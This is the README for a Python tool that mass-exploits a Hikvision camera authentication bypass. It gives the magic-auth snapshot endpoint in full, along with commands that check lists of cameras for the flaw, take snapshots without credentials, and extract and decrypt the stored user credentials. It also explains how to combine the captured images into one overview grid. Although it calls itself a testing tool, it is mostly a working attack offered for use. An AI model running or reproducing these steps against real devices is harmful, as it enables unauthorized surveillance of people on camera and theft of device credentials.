
HikVision Auth Bypass CVE, tool is able to extract credentials, and take snapshots based on magic cookie or supplied credentials.
Standalone tool to list Hikvision cameras from a file and take a snapshot from each using valid credentials (HTTP Basic or Digest auth) or the CVE auth bypass. Intended to run on another host for testing.
host or host:port per line).--save-snapshot for vulnerable devices.--exploit to use CVE bypass with no credentials).--merge to build one overview image. Dependencies: requests, Pillow (for --merge).requestspip install -r requirements.txt
Create a text file with one camera per line. Comments with # are ignored.
# Example cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
Print the cameras read from the file (no credentials needed).
python hikvision_snapshots.py cameras.txt list
Optional reachability check (HTTP GET to each host):
python hikvision_snapshots.py cameras.txt list -v
Test each camera for the Hikvision snapshot auth-bypass CVE. No credentials required.
python hikvision_snapshots.py cameras.txt check
Save snapshots for vulnerable cameras only:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
Options: --timeout, --workers, -o (for --save-snapshot).
Extract credentials from each camera via the CVE (magic auth to fetch user list and config file, then decrypt config). Requires OpenSSL on the host. No credentials needed to run.
python hikvision_snapshots.py cameras.txt credentials
Options: --timeout, --workers.
Verify that your credentials work on each camera (uses the same snapshot endpoints; does not save images).
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
Options: --timeout, --workers, --digest (same as snapshot).
Take one snapshot per camera and save as JPEG. Use either valid credentials or --exploit (CVE auth bypass, no credentials).
# With credentials
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# With CVE exploit (no credentials)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ by default (use -o to change).host or host_port (e.g. 192_168_1_100.jpg, nvr_local_8080.jpg).Options:
With --merge, after saving each snapshot the tool builds a single grid image (overview.jpg) in the output directory with one cell per camera and a label. Requires Pillow (pip install Pillow).
Example with custom output and Digest auth:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
Example with merged overview:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# or with exploit (no creds):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
Authenticated snapshot (with credentials): the script tries in order – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot.
CVE (check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK (magic auth bypass, no credentials).
hikvision_snapshots.py, requirements.txt, and your camera list file to the host.pip install -r requirements.txtlist to verify the file; use check for CVE, auth-check for credentials, or snapshot (with -u/-p or --exploit).Ensure the host has network access to all camera IPs and ports.
| Option | Description | Default |
|---|
-u, --username | Camera username | required unless --exploit |
-p, --password | Camera password | required unless --exploit |
--exploit | Use CVE magic auth bypass (no credentials) | off |
-o, --output-dir | Directory for snapshot images | snapshots |
--timeout | HTTP timeout in seconds | 15 |
--workers | Number of concurrent snapshot requests | 10 |
--digest | Use HTTP Digest auth instead of Basic | off |
--merge | Merge all snapshots into one overview image | off |
--merge-columns | Grid columns for merge (default: auto) | auto |